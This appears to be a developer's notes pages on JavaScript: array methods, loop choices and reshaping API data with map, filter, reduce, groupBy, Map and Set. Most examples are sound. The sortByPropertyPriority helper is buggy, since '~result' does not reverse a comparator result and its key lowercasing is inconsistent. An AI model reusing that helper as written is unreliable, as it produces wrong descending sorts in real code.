Zander's Code Notes

Array methods summarised

Zander Martineau — Thu, 01 Oct 2026 20:19:11 GMT

Intro

JavaScript Arrays have lots of built in methods on their prototype. Some of them mutate - ie, they change the underlying array in-place. Luckily, most of them do not - they instead return an entirely distinct array. Since arrays are conceptually a contiguous list of items, it helps code clarity and maintainability a lot to be able to operate on them in a "functional" way. (I'll also insist on referring to an array as a "list" - although in some languages, List is a native data type, in JS and this post, I'm referring to the concept. Everywhere I use the word "list" you can assume I'm talking about a JS Array) This means, to perform a single operation on the list as a whole ("atomically"), and to return a new list - thus making it much simpler to think about both the old list and the new one, what they contain, and what happened during the operation.

Below are some of the methods that iterate - in other words, that operate on the entire list, one item at a time. When you call them, you provide a callback function - a single function that expects to operate on one item at a time. Based on the Array method you've chosen, the callback gets specific arguments, and may be expected to return a certain kind of value - and (except for forEach) the return value determines the final return value of the overarching array operation. Although most of the methods are guaranteed to execute for each item in the array - for all of them - some of the methods can stop iterating partway through; when applicable, this is indicated below.

All array methods iterate in what is traditionally called "left to right" - more accurately (and less ethnocentrically) from index 0, to index length - 1 - also called "start" to "end". reduceRight is an exception in that it iterates in reverse - from end to start.

`forEach`

callback answers: here’s an item. do something nutty with it, i don't care what.
callback gets these arguments: item, index, list
final return value: nothing - in other words, undefined
example use case:

;[1, 2, 3].forEach((item, index) => {
  console.log(item, index)
})

`map`

callback answers: here’s an item. what should i put in the new list in its place?
callback gets these arguments: item, index, list
final return value: list of new items
example use case:

const three = [1, 2, 3]
const doubled = three.map((item) => {
  return item * 2
})
console.log(three === doubled, doubled) // false, [2, 4, 6]

`filter`

callback is a predicate - it should return a truthy or falsy value
callback answers: should i keep this item?
callback gets these arguments: item, index, list
final return value: list of kept items
example use case:

const ints = [1, 2, 3]
const evens = ints.filter((item) => {
  return item % 2 === 0
})
console.log(ints === evens, evens) // false, [2]

`reduce`

callback answers: here’s the result from the previous iteration. what should i pass to the next iteration?
callback gets these arguments: result, item, index, list
final return value: result of last iteration
example use case:

// NOTE: `reduce` and `reduceRight` take an optional "initialValue" argument, after the reducer callback.
// if omitted, it will default to the first item.
const sum = [1, 2, 3].reduce((result, item) => {
  return result + item
}, 0) // if the `0` is omitted, `1` will be the first `result`, and `2` will be the first `item`

reduceRight: (same as reduce, but in reversed order: last-to-first)

`some`

callback is a predicate - it should return a truthy or falsy value
callback answers: does this item meet your criteria?
callback gets these arguments: item, index, list
final return value: true after the first item that meets your criteria, else false
note: stops iterating once it receives a truthy value from your callback.
example use case:

const hasNegativeNumbers = [1, 2, 3, -1, 4].some((item) => {
  return item < 0
})
console.log(hasNegativeNumbers) // true

`every`

callback is a predicate - it should return a truthy or falsy value
callback answers: does this item meet your criteria?
callback gets these arguments: item, index, list
final return value: false after the first item that failed to meet your criteria, else true
note: stops iterating once it receives a falsy value from your callback.
example use case:

const allPositiveNumbers = [1, 2, 3].every((item) => {
  return item > 0
})
console.log(allPositiveNumbers) // true

`find`

callback is a predicate - it should return a truthy or falsy value
callback answers: is this item what you’re looking for?
callback gets these arguments: item, index, list
final return value: the item you’re looking for, or undefined
note: stops iterating once it receives a truthy value from your callback.
example use case:

const objects = [{ id: 'a' }, { id: 'b' }, { id: 'c' }]
const found = objects.find((item) => {
  return item.id === 'b'
})
console.log(found === objects[1]) // true

`findIndex`

callback is a predicate - it should return a truthy or falsy value
callback answers: is this item what you’re looking for?
callback gets these arguments: item, index, list
final return value: the index of the item you’re looking for, or -1
note: stops iterating once it receives a truthy value from your callback.
example use case:

const objects = [{ id: 'a' }, { id: 'b' }, { id: 'c' }]
const foundIndex = objects.findIndex((item) => {
  return item.id === 'b'
})
console.log(foundIndex === 1) // true

`findLast`

callback is a predicate - it should return a truthy or falsy value
callback answers: is this item what you’re looking for? (searching from the end)
callback gets these arguments: item, index, list
final return value: the last item that matches, or undefined
note: iterates from end to start, and stops once it receives a truthy value from your callback.
example use case:

const numbers = [1, 2, 3, 4, 5]
const lastEven = numbers.findLast((item) => {
  return item % 2 === 0
})
console.log(lastEven) // 4

`findLastIndex`

Same as findLast, but returns the index of the last matching item, or -1.

const numbers = [1, 2, 3, 4, 5]
const lastEvenIndex = numbers.findLastIndex((item) => {
  return item % 2 === 0
})
console.log(lastEvenIndex) // 3

`flatMap`

callback answers: here’s an item. what should i put in the new list in its place? (and if you return a list, i’ll flatten it one level)
callback gets these arguments: item, index, list
final return value: new list, flattened by one level
note: equivalent to .map(...).flat(), but in a single pass. Great for "map, but sometimes zero or many results per item".
example use case:

const sentences = ['hello world', 'foo bar']
const words = sentences.flatMap((item) => {
  return item.split(' ')
})
console.log(words) // ['hello', 'world', 'foo', 'bar']

`sort`

callback is a comparator - it should return either a number either < 0, 0, or > 0
callback answers: how do the two items compare with each other
callback gets these arguments: oneElement, theOtherElement
final return value: number < 0, if oneElement should preceed theOtherElement, 0 to keep the relative order, > 0 to place oneElement at a later index than theOtherElement
note: sort mutates the array in-place (and returns the same array). If you don't want that, use toSorted below.
example use case:

const objects = ['John', 'Doe', 'Foo', 'Bar']
const sortedObjects = objects.sort((one, two) => -one.localeCompare(two)) // reverses the string in reverse order
console.log(sortedObjects) // ['John', 'Foo', 'Doe', 'Bar']

Compare function examples

export const compare = (a, b):number  => {
  if (a is less than b by some ordering criterion) {
    return -1;
  }
  if (a is greater than b by the ordering criterion) {
    return 1;
  }
  // a must be equal to b
  return 0;
}

export const compareNumbers = (a:number, b:number) => {
  return a - b;
}

/* eslint-disable @typescript-eslint/explicit-module-boundary-types */
/* eslint-disable @typescript-eslint/no-explicit-any */
export const sortByDisplayOrder = (a: any, b: any): number => {
  return a.displayOrder - b.displayOrder
}

// Sort by property priority
export const sortByPropertyPriority = <T>(
  key: string,
  sortingOrder: Record<string, number>,
  order: 'asc' | 'desc' = 'asc',
) => {
  return (a: T, b: T): number => {
    // eslint-disable-next-line
    // @ts-ignore
    // eslint-disable-next-line no-prototype-builtins
    if (!a.hasOwnProperty(key) || !b.hasOwnProperty(key)) return 0

    const first =
      a[key].toLowerCase() in sortingOrder
        ? sortingOrder[a[key]]
        : Number.MAX_SAFE_INTEGER
    const second =
      b[key].toLowerCase() in sortingOrder
        ? sortingOrder[b[key]]
        : Number.MAX_SAFE_INTEGER

    let result = 0
    if (first < second) {
      result = -1
    } else if (first > second) {
      result = 1
    }
    return order === 'desc' ? ~result : result
  }
}

Change-by-copy methods (ES2023)

For years, a handful of array methods (sort, reverse, splice) broke the "return a new list" rule and mutated the array in-place - forcing you into the [...array].sort() dance. ES2023 finally fixed this with non-mutating counterparts. Each one returns a new array and leaves the original untouched.

`toSorted`

Non-mutating version of sort. Takes the same optional comparator callback.
final return value: a new, sorted list
example use case:

const names = ['John', 'Doe', 'Foo', 'Bar']
const sorted = names.toSorted()
console.log(sorted) // ['Bar', 'Doe', 'Foo', 'John']
console.log(names) // ['John', 'Doe', 'Foo', 'Bar'] - untouched!

`toReversed`

Non-mutating version of reverse. No callback.
final return value: a new list in reverse order
example use case:

const numbers = [1, 2, 3]
const reversed = numbers.toReversed()
console.log(reversed) // [3, 2, 1]
console.log(numbers) // [1, 2, 3]

`toSpliced`

Non-mutating version of splice. Same arguments: start, deleteCount, then any items to insert.
final return value: a new list with items removed and/or inserted
note: unlike splice (which returns the removed items), toSpliced returns the new modified list.
example use case:

const months = ['Jan', 'Mar', 'Apr']
const fixed = months.toSpliced(1, 0, 'Feb')
console.log(fixed) // ['Jan', 'Feb', 'Mar', 'Apr']
console.log(months) // ['Jan', 'Mar', 'Apr']

`with`

Non-mutating version of bracket assignment (array[index] = value). Takes an index (negative counts from the end) and a value.
final return value: a new list with the item at index replaced by value
example use case:

const numbers = [1, 2, 3]
const replaced = numbers.with(1, 99)
console.log(replaced) // [1, 99, 3]
console.log(numbers) // [1, 2, 3]

// negative indices work too
console.log(numbers.with(-1, 0)) // [1, 2, 0]

Other useful newer methods

`at`

Like bracket access, but accepts negative indices - at(-1) is the last item. So much nicer than array[array.length - 1].

const numbers = [1, 2, 3]
console.log(numbers.at(-1)) // 3
console.log(numbers.at(0)) // 1

`flat`

Flattens nested arrays by a given depth (default 1). Pass Infinity to flatten fully.

const nested = [1, [2, [3, [4]]]]
console.log(nested.flat()) // [1, 2, [3, [4]]]
console.log(nested.flat(Infinity)) // [1, 2, 3, 4]

`includes`

Returns true if the array contains the given value. Simpler than indexOf(x) !== -1, and unlike indexOf it can find NaN.

console.log([1, 2, 3].includes(2)) // true
console.log([Number.NaN].includes(Number.NaN)) // true
console.log([Number.NaN].indexOf(Number.NaN)) // -1 🙃

`Object.groupBy`

Not an array method (it's a static method on Object), but it iterates a list just like the methods above. Groups items into an object keyed by whatever your callback returns. More in the Object.groupBy note. Other built-ins that take a whole list, such as Array.from, Object.fromEntries and Map.groupBy, are listed in Looping and iterating.
callback answers: which group does this item belong to?
callback gets these arguments: item, index

const inventory = [
  { name: 'asparagus', type: 'vegetable' },
  { name: 'banana', type: 'fruit' },
  { name: 'cherry', type: 'fruit' },
]
const grouped = Object.groupBy(inventory, (item) => item.type)
// {
//   vegetable: [{ name: 'asparagus', ... }],
//   fruit: [{ name: 'banana', ... }, { name: 'cherry', ... }],
// }

Looping and iterating in JavaScript

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

How to go through every item in arrays, objects, Maps, Sets, strings, DOM lists and your own data, and which loop to pick for each.

For the array methods one by one, see Array methods. For turning data from one shape into another, see Reshaping data in JavaScript. For trees and nested data, see Recursion.

Which loop?

I have…	Use
An array, and I want a new array or value	`map`, `filter`, `reduce`, `find`…
An array, and I need `break`, `continue` or `await`	`for...of`
An array, and I need the index too	`for...of` with `.entries()`, or a plain `for`
An object	`Object.entries(obj)` with `for...of` or `.map()`
A nested object	a function that calls itself on each child object (see Nested objects)
A `Map` or `Set`	`for...of`
A string	`for...of` (not an index loop)
A `NodeList`, `arguments` or other array-like thing	`for...of`, or `Array.from()` for array methods
An async stream of values	`for await...of`
A tree	recursion, or a loop with a stack

Pros and cons

Option	Pros	Cons
`for...of`	reads well; `break`, `continue` and `await` work; works on any iterable (arrays, strings, `Map`, `Set`, `NodeList`)	no index unless you use `.entries()`; doesn't work on plain objects
`for` (with `i`)	full control: step size, direction, look ahead; safe to remove items when going backwards	more to write, and easy to get the start or end wrong by one
`forEach`	short; gives you the item and the index	can't stop early; doesn't wait for `async` callbacks; returns nothing
`map`, `filter`, `reduce`…	say what you want in one word; return a new array without changing the original; chain together	always visit every item; each step builds a new array; `reduce` can be hard to read
`find`, `some`, `every`	stop at the first answer	only answer one question each
`for...in`	the only loop that goes through an object's keys directly	includes inherited keys; keys are always strings; wrong for arrays
`Object.keys` / `values` / `entries`	own keys only; give you an array, so every array method works	make a new array first
`while`, `do...while`	for when you don't know how many times the loop will run	easy to write a loop that never ends
`for await...of`	loops over values that arrive over time (streams, paginated APIs)	one at a time, so slower than `Promise.all` when the items don't depend on each other
Iterator helpers (`.values().filter()…`)	lazy: no array built at each step; `take` stops early	newer (Baseline 2025); fewer methods than arrays (no `sort`)
Recursion	the clearest code for trees and nested data	deep data can run out of stack; see Recursion

Arrays

`for...of`

The default loop. It gives you each value, and break, continue, return and await all work inside it.

const fruits = ['apple', 'banana', 'cherry']

for (const fruit of fruits) {
  if (fruit === 'banana') continue
  console.log(fruit)
}

// with the index
for (const [index, fruit] of fruits.entries()) {
  console.log(index, fruit)
}

Plain `for`

Use it when you need control over the index: stepping by 2, going backwards, or looking at the next item.

for (let i = 0; i < fruits.length; i++) {
  console.log(i, fruits[i])
}

for (let i = fruits.length - 1; i >= 0; i--) {
  // backwards, safe to remove items with splice as you go
}

`forEach`

Runs a function for each item and returns nothing. You can't break out of it, and it doesn't wait for async callbacks (see Async loops). If you want a result, use map, filter or reduce. If you want to stop early, use for...of.

fruits.forEach((fruit, index) => {
  console.log(index, fruit)
})

Array methods

Most of the time you don't need a loop at all. The array methods say what you want in one word:

const prices = [80, 12, 240, 6]

prices.map((price) => price * 1.2) // change each item
prices.filter((price) => price > 10) // keep some
prices.reduce((total, price) => total + price, 0) // combine into one value
prices.find((price) => price > 100) // first match, then stop
prices.some((price) => price > 200) // true/false, stops at the first true

Full list in Array methods.

Don't use `for...in` on arrays

for...in gives you the keys as strings ('0', '1'…), not the values. It also includes any extra enumerable properties added to the array or its prototype.

for (const key in ['a', 'b']) {
  console.log(typeof key) // 'string', twice
}

Stopping early

Loop	Can stop early?
`for`, `for...of`, `while`	yes: `break` or `return`
`find`, `findIndex`, `some`, `every`	yes: they stop at the first answer
`forEach`, `map`, `filter`, `reduce`	no: they always visit every item

To search, use find or some. Don't throw an error to get out of forEach.

Objects

Objects aren't iterable, so for...of doesn't work on them directly. Turn them into an array first:

const stock = { apples: 5, pears: 0, plums: 12 }

Object.keys(stock) // ['apples', 'pears', 'plums']
Object.values(stock) // [5, 0, 12]
Object.entries(stock) // [['apples', 5], ['pears', 0], ['plums', 12]]

for (const [fruit, count] of Object.entries(stock)) {
  console.log(`${fruit}: ${count}`)
}

const inStock = Object.entries(stock)
  .filter(([, count]) => count > 0)
  .map(([fruit]) => fruit) // ['apples', 'plums']

To change the values and keep an object, go through entries and back with Object.fromEntries:

const doubled = Object.fromEntries(Object.entries(stock).map(([fruit, count]) => [fruit, count * 2]))

`for...in` on objects

for...in loops over an object's keys, including inherited ones from its prototype. Object.entries and Object.keys only return the object's own keys, so prefer them. If you do use for...in, guard it:

for (const key in stock) {
  if (!Object.hasOwn(stock, key)) continue
  console.log(key, stock[key])
}

Key order

Object keys come back in this order: integer-like keys ('1', '42') in number order first, then string keys in the order they were added. If the order matters and your keys look like numbers, use a Map.

Keys the usual methods skip

Object.keys, values, entries and for...in only see enumerable string keys. Two other methods see more:

const id = Symbol('id')
const user = { name: 'Ada', [id]: 42 }
Object.defineProperty(user, 'secret', { value: 'x', enumerable: false })

Object.keys(user) // ['name']
Object.getOwnPropertyNames(user) // ['name', 'secret'] (non-enumerable too)
Reflect.ownKeys(user) // ['name', 'secret', Symbol(id)] (symbols too)

You rarely need these outside library code.

Nested objects

Object.entries only goes one level deep. To reach every value in a nested object, the function calls itself on each value that is itself an object. This one flattens a nested object into dotted paths:

const settings = {
  theme: { colour: 'teal', font: { size: 16, family: 'Inter' } },
  sounds: false,
}

const isObject = (value) => value !== null && typeof value === 'object' && !Array.isArray(value)

function flattenObject(obj, prefix = '') {
  const result = {}
  for (const [key, value] of Object.entries(obj)) {
    const path = prefix ? `${prefix}.${key}` : key
    if (isObject(value)) {
      Object.assign(result, flattenObject(value, path))
    } else {
      result[path] = value
    }
  }
  return result
}

flattenObject(settings)
// { 'theme.colour': 'teal', 'theme.font.size': 16, 'theme.font.family': 'Inter', sounds: false }

Dotted paths are handy for forms, translation files and comparing two sets of settings.

The same walk without recursion keeps a list of objects still to visit (a stack). Take one off, look at its entries, and push any child objects back on. It has no depth limit:

function flattenObjectWithStack(obj) {
  const result = {}
  const stack = [['', obj]]
  while (stack.length > 0) {
    const [prefix, current] = stack.pop()
    for (const [key, value] of Object.entries(current)) {
      const path = prefix ? `${prefix}.${key}` : key
      if (isObject(value)) {
        stack.push([path, value])
      } else {
        result[path] = value
      }
    }
  }
  return result
}

The keys can come out in a different order, because the stack visits the last child object first. More patterns for nested data are in Recursion.

`Map` and `Set`

Both are iterable, and they keep the order you added items in.

const ages = new Map([
  ['Ada', 36],
  ['Bram', 29],
])

for (const [name, age] of ages) {
  console.log(name, age)
}

ages.keys() // iterator of names
ages.values() // iterator of ages

const tags = new Set(['css', 'js', 'css'])
for (const tag of tags) {
  console.log(tag) // 'css', 'js'
}

keys(), values() and entries() return iterators, not arrays. Spread them ([...ages.values()]) or use the iterator helpers below to get array-like methods.

Careful with forEach on a Map: the callback gets (value, key), the other way round from entries.

Strings

for...of goes through a string by code point, so emoji and other characters outside the basic range stay whole. An index loop splits them in half:

const text = 'hi 👋'

text.length // 5, because 👋 is two UTF-16 units
;[...text] // ['h', 'i', ' ', '👋']

for (const char of text) {
  console.log(char)
}

Some emoji are several code points joined together (👨‍👩‍👧, flags). To split text into the characters a person sees, use Intl.Segmenter:

const segmenter = new Intl.Segmenter('en', { granularity: 'grapheme' })
const chars = [...segmenter.segment('👨‍👩‍👧!')].map((s) => s.segment) // ['👨‍👩‍👧', '!']

DOM lists and array-like things

querySelectorAll returns a NodeList. It's iterable and has forEach, but no map or filter. Use for...of, or turn it into an array with Array.from:

for (const link of document.querySelectorAll('a')) {
  link.rel = 'noopener'
}

const hrefs = Array.from(document.querySelectorAll('a'), (link) => link.href)

Array.from takes an optional map function as its second argument, so the example above makes the array and maps it in one step. It also builds arrays from nothing:

Array.from({ length: 5 }, (_, i) => i * 10) // [0, 10, 20, 30, 40]

Static methods that go through a list

Some built-in functions aren't array methods but still take a whole list (any iterable) and go through it for you:

Method	Takes	Returns
`Array.from(iterable, mapFn?)`	any iterable or array-like	a new array
`Array.fromAsync(asyncIterable)`	an async iterable	a promise of an array
`Object.fromEntries(pairs)`	`[key, value]` pairs	an object
`Object.groupBy(items, fn)`	any iterable	an object of arrays, one per group
`Map.groupBy(items, fn)`	any iterable	a `Map` of arrays, one per group
`new Map(pairs)`, `new Set(items)`	any iterable	a `Map` or `Set`
`Promise.all(promises)` and friends	an iterable of promises	one promise
`Iterator.from(iterable)`	any iterable	an iterator with the helpers below

Object.keys, Object.values and Object.entries go the other way: they turn an object into an array you can loop over. More on grouping in Object.groupBy.

Async loops

forEach doesn't wait for promises. It starts every callback and moves on, so the code after it runs before any of them finish:

// wrong: "done" logs before any user is saved
users.forEach(async (user) => {
  await save(user)
})
console.log('done')

Use for...of to go one at a time, or Promise.all to run them all at once:

// one after another
for (const user of users) {
  await save(user)
}

// in parallel, and wait for all of them
await Promise.all(users.map((user) => save(user)))

Use Promise.allSettled if one failure shouldn't stop the others.

`for await...of`

Loops over an async iterable: values that arrive over time. In Node, a file read line by line is one:

import { createReadStream } from 'node:fs'
import { createInterface } from 'node:readline'

const lines = createInterface({ input: createReadStream('access.log') })

for await (const line of lines) {
  if (line.includes(' 500 ')) console.log(line)
}

It also works on an array of promises, one result at a time in order. But Promise.all is usually clearer for that.

For paginated APIs where you don't know how many pages there are, a while loop is simpler. See while and do...while.

The iteration protocol

Anything with a [Symbol.iterator] method is iterable, so for...of, spread (...), destructuring, Array.from, new Set and the rest all work with it. Arrays, strings, Maps, Sets, NodeLists and arguments all have one. Plain objects don't.

To make your own class iterable, give it a [Symbol.iterator] method. The easiest way is to hand back the iterator of an array it already holds:

class Playlist {
  #songs = []

  add(song) {
    this.#songs.push(song)
  }

  [Symbol.iterator]() {
    return this.#songs[Symbol.iterator]()
  }
}

const playlist = new Playlist()
playlist.add('Song A')
playlist.add('Song B')

for (const song of playlist) console.log(song)
const songs = [...playlist] // ['Song A', 'Song B']

For a range of numbers, Array.from({ length }, fn) from DOM lists and array-like things does the job.

Iterator helpers

Iterators now have their own map, filter, take, drop, flatMap, reduce, toArray, forEach, some, every and find (Baseline 2025). They're lazy: each item goes through the whole chain before the next one starts, and nothing extra is built.

// Map values, without spreading into an array first
const adults = ages
  .values()
  .filter((age) => age >= 18)
  .toArray()

// the first 2 names in a Set, and stop there
const firstTwo = tags.values().take(2).toArray()

// any iterable, through Iterator.from
const upper = Iterator.from(document.querySelectorAll('h2'))
  .map((heading) => heading.textContent.toUpperCase())
  .toArray()

Array methods would build a whole new array at every step. Iterator helpers don't, which matters for big sources. For a normal array, the array methods are simpler.

`while` and `do...while`

Use them when you don't know how many times the loop will run:

let url = '/api/posts'
while (url) {
  const res = await fetch(url)
  const page = await res.json()
  url = page.next
}

do...while always runs the body at least once.

Trees and nested data

Loops go through one level. For nested data (folders, comments, menus), call a function on each child, or use a loop with your own stack. Both are in Recursion.

Performance

In current engines, for, for...of and forEach are all fast, and which is fastest changes between browsers and versions. Pick the one that reads best. Measure only when a loop is actually slow.

Things that do make a difference:

find inside another loop is O(n²). Make a Map first, then look items up. See Reshaping data.
Chaining filter().map().slice(0, 5) on a huge array does all the work before slice throws most of it away. Stop early with a for...of and break, or use iterator helpers with take.
Don't use for...in on arrays. It's slow as well as wrong.

Reshaping data in JavaScript

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

Data from an API almost never arrives in the shape your UI wants. A list needs grouping, two endpoints need joining, a keyed object needs to become an array you can .map() over in React. This note collects the array, object, Map and Set methods I reach for to get data from the shape it is to the shape I need — with realistic examples rather than [1, 2, 3] toys.

Every method here returns a new value rather than mutating the original. That's exactly what you want in a React component: derive what you render from props/state, never edit the source.

But "new" means a shallow copy. { ...order } is a new object, yet any nested object or array inside it is still shared with the original. Change copy.customer.name and you've changed the source too. Spread each level you change, or use structuredClone(value) for a full deep copy.

The sample data

One dataset for the whole note — pretend it came back from GET /orders:

const orders = [
  {
    id: 1,
    customer: 'Ada',
    product: 'Keyboard',
    category: 'tech',
    price: 80,
    status: 'shipped',
  },
  {
    id: 2,
    customer: 'Bram',
    product: 'Mug',
    category: 'home',
    price: 12,
    status: 'pending',
  },
  {
    id: 3,
    customer: 'Ada',
    product: 'Monitor',
    category: 'tech',
    price: 240,
    status: 'shipped',
  },
  {
    id: 4,
    customer: 'Cleo',
    product: 'Notebook',
    category: 'office',
    price: 6,
    status: 'cancelled',
  },
  {
    id: 5,
    customer: 'Bram',
    product: 'Desk',
    category: 'home',
    price: 320,
    status: 'shipped',
  },
  {
    id: 6,
    customer: 'Ada',
    product: 'Cable',
    category: 'tech',
    price: 9,
    status: 'pending',
  },
]

And a second endpoint, GET /customers, for the join example later:

const customers = [
  { name: 'Ada', tier: 'gold' },
  { name: 'Bram', tier: 'silver' },
  { name: 'Cleo', tier: 'bronze' },
]

`map` — reshape every item

map is a one-to-one transform: the output array has the same length as the input, but each item is whatever you return. Use it to pick the fields a component needs and drop the rest, or to add a computed field.

// Trim each order down to just what a list row renders
const rows = orders.map((order) => ({
  id: order.id,
  label: `${order.product} — ${order.customer}`,
  priceLabel: `£${order.price}`,
}))

A common interview ask is "add a derived field". map plus spread keeps the original fields and tacks on new ones:

const withTax = orders.map((order) => ({
  ...order,
  priceWithTax: Math.round(order.price * 1.2 * 100) / 100,
}))

`filter` — keep a subset

filter returns the items where your callback is truthy. The output is the same shape as the input, just shorter.

const shipped = orders.filter((order) => order.status === 'shipped')

Two patterns worth knowing:

// filter(Boolean) drops null / undefined / '' / 0 / false / NaN — handy
// after a map that may produce gaps
const notes = orders.map((o) => o.note).filter(Boolean)
// careful: it also drops real 0s, so don't use it on prices or counts

// Filtering against a Set is cleaner than a chain of || comparisons
const wanted = new Set(['tech', 'home'])
const visible = orders.filter((order) => wanted.has(order.category))

Chaining `filter` + `map`

The bread-and-butter pipeline: narrow the list, then reshape what's left. Order matters — filter first so map does less work.

const pendingLabels = orders
  .filter((order) => order.status === 'pending')
  .map((order) => order.product)
// → ['Mug', 'Cable']

`reduce` — collapse a list into one value

reduce is the general-purpose tool: anything map and filter can't express, reduce usually can. You give it an accumulator and decide what to do with each item.

Sum (the textbook case):

const revenue = orders.reduce((total, order) => total + order.price, 0)
// → 667

Tally / count occurrences — build an object of counts:

const countByStatus = orders.reduce((counts, order) => {
  counts[order.status] = (counts[order.status] ?? 0) + 1
  return counts
}, {})
// → { shipped: 3, pending: 2, cancelled: 1 }

Min / max by a field — keep a running winner:

const priciest = orders.reduce((top, order) =>
  order.price > top.price ? order : top,
)
// → the Desk order

With no starting value, reduce uses the first item as the start, and it throws on an empty array. Guard with orders.length ? … : undefined, or pass a start value.

If you find yourself writing reduce and reaching for a plain object as the accumulator, check whether Object.groupBy or a Map says it more clearly first.

Grouping — `Object.groupBy`

Splitting a flat list into buckets keyed by some field used to mean a fiddly reduce. Object.groupBy does it directly (Node 21+, and all current browsers):

const byCategory = Object.groupBy(orders, (order) => order.category)
// → {
//     tech:   [ {id:1…}, {id:3…}, {id:6…} ],
//     home:   [ {id:2…}, {id:5…} ],
//     office: [ {id:4…} ],
//   }

Map.groupBy is the same but returns a Map — use it when your grouping key isn't a string (an object, a number you want kept as a number). More in the Object.groupBy note.

If you need to support older runtimes, the reduce equivalent is a useful snippet to keep around. ??= creates the array the first time a key is seen:

const byCategory = orders.reduce((groups, order) => {
  ;(groups[order.category] ??= []).push(order)
  return groups
}, {})

Indexing — turn a list into a lookup

If you ever write list.find(...) inside a loop, you've built an accidental O(n²). Index the list once into a Map keyed by id, then every lookup is O(1):

const orderById = new Map(orders.map((order) => [order.id, order]))

orderById.get(3) // → the Monitor order, instantly
orderById.has(9) // → false

new Map(arrayOfPairs) is the key trick: map each item into a [key, value] pair and the Map constructor consumes them. Prefer Map over a plain object for lookups — it has a clean .has()/.get() API and won't collide with inherited keys like constructor.

`Set` — dedupe and fast membership

A Set holds unique values. The single most common use is deduping — pull every distinct value of a field:

const categories = [...new Set(orders.map((o) => o.category))]
// → ['tech', 'home', 'office']

new Set(array) drops duplicates; the [...spread] turns it back into an array so you can .map() it in JSX. A Set also gives O(1) .has(), which is why it's the right side of a filter (see the filter section above).

A Set compares objects by reference, so it can't dedupe objects by a field. Use a Map keyed by that field instead. Later items win:

const latestOrderPerCustomer = [
  ...new Map(orders.map((order) => [order.customer, order])).values(),
]
// → one order per customer: Cable (Ada), Desk (Bram), Notebook (Cleo)

Compare two lists with Set methods

Set has union, intersection, difference and symmetricDifference (Baseline 2024). They answer "what changed?" between two lists of ids:

const before = new Set([1, 2, 3, 4])
const after = new Set([2, 3, 4, 5])

after.difference(before) // → Set {5}        added
before.difference(after) // → Set {1}        removed
before.intersection(after) // → Set {2, 3, 4}  in both
before.union(after) // → Set {1, 2, 3, 4, 5}

Also isSubsetOf, isSupersetOf and isDisjointFrom, which return a boolean.

Joining two datasets

Real apps stitch data from multiple endpoints. The wrong way is orders.map with a customers.find inside it. The right way: index one side into a Map, then map the other side against it.

const tierByName = new Map(customers.map((c) => [c.name, c.tier]))

const enrichedOrders = orders.map((order) => ({
  ...order,
  tier: tierByName.get(order.customer) ?? 'none',
}))
// each order now carries the customer's tier

Sorting without mutating

sort mutates the array in place — a problem when the array is React state or props. toSorted (ES2023) returns a sorted copy:

const cheapestFirst = orders.toSorted((a, b) => a.price - b.price)

The comparator returns a number: negative keeps a first, positive swaps them. a - b for numbers; a.localeCompare(b) for strings. toReversed and with(index, value) are the same idea — non-mutating versions of reverse and index assignment. Pre-2023, spread first: [...orders].sort(...).

Objects ⇄ arrays

APIs love handing you an object keyed by id. React wants an array to render. Object.entries bridges the gap:

const usersById = {
  u1: { name: 'Ada' },
  u2: { name: 'Bram' },
}

// keyed object → array (so you can .map() it in JSX)
const userList = Object.entries(usersById).map(([id, user]) => ({
  id,
  ...user,
}))

// …and back again
const backToObject = Object.fromEntries(userList.map((u) => [u.id, u]))

The entries → map → fromEntries round-trip also lets you transform an object's values while keeping its shape:

const prices = { keyboard: 80, monitor: 240, cable: 9 }

const withSale = Object.fromEntries(
  Object.entries(prices).map(([name, price]) => [name, price * 0.9]),
)
// → { keyboard: 72, monitor: 216, cable: 8.1 }

Object.keys and Object.values are the narrower versions when you only need one side.

A Map (for example from Map.groupBy) turns into an array the same way: [...map] gives [key, value] pairs, and [...map.values()] gives only the values. Object.fromEntries(map) turns it into a plain object.

`flat` — un-nest an array of arrays

flat takes an array that contains other arrays and pulls the inner items up to the top level:

const nested = [['a', 'b'], ['c'], ['d', 'e']]

const flattened = nested.flat()
// → ['a', 'b', 'c', 'd', 'e']

By default it only unwraps one level of nesting. For something deeper, pass a depth number — or Infinity to flatten all the way down:

const deep = [1, [2, [3, [4]]]]

deep.flat() // → [1, 2, [3, [4]]]   one level (the default)
deep.flat(2) // → [1, 2, 3, [4]]    two levels
deep.flat(Infinity) // → [1, 2, 3, 4]

`flatMap` — map, then flatten one level

flatMap is for one specific situation: you map over a list and the callback returns an array for each item. A plain map then leaves you with an array of arrays — almost never the shape you actually want.

Picture a paginated API. It handed back three pages, and each page carries its own list of results:

const pages = [
  { page: 1, results: ['Keyboard', 'Mug'] },
  { page: 2, results: ['Monitor', 'Notebook'] },
  { page: 3, results: ['Desk', 'Cable'] },
]

map gets you almost there — but each page's results stay boxed up inside their own array:

const stillNested = pages.map((page) => page.results)
// → [['Keyboard', 'Mug'], ['Monitor', 'Notebook'], ['Desk', 'Cable']]

Adding .flat() merges those inner arrays into one flat list. And that pairing — a map followed by a one-level flat — is exactly what flatMap does in a single call:

const mapThenFlat = pages.map((page) => page.results).flat()
const flatMapped = pages.flatMap((page) => page.results)
// both → ['Keyboard', 'Mug', 'Monitor', 'Notebook', 'Desk', 'Cable']

So there's nothing more to flatMap than "map, then flat(1)".

That framing also explains a handy side effect. Because each callback's array gets flattened away, the length of the array you return decides how many items come out:

return a one-item array [x] → the item is kept, as x
return an empty array [] → the item vanishes entirely
return a multi-item array [x, y] → that one item becomes several

Returning [] to drop an item is what lets flatMap act as a filter-and-map in one pass:

// keep tech products only — [product] keeps it, [] drops it
const techProducts = orders.flatMap((order) =>
  order.category === 'tech' ? [order.product] : [],
)
// → ['Keyboard', 'Monitor', 'Cable']

A separate filter then map does the same job and reads more plainly when the two steps are distinct. Reach for flatMap when an item naturally expands into zero or more results rather than exactly one.

Rendering into a data grid

A data grid — TanStack Table, AG Grid — needs two separate things: column definitions and row data. The API hands you a flat array of objects, but the object keys have to become columns while the objects themselves become rows. Splitting one into the other is a transform in its own right.

The quickest version derives the columns straight from the keys of a row:

const titleCase = (s) => s.charAt(0).toUpperCase() + s.slice(1)

const columns = Object.keys(orders[0]).map((key) => ({
  accessorKey: key, // TanStack Table — AG Grid calls this `field`
  header: titleCase(key), // AG Grid calls this `headerName`
}))
// → [{ accessorKey: 'id', header: 'Id' }, { accessorKey: 'customer', header: 'Customer' }, …]

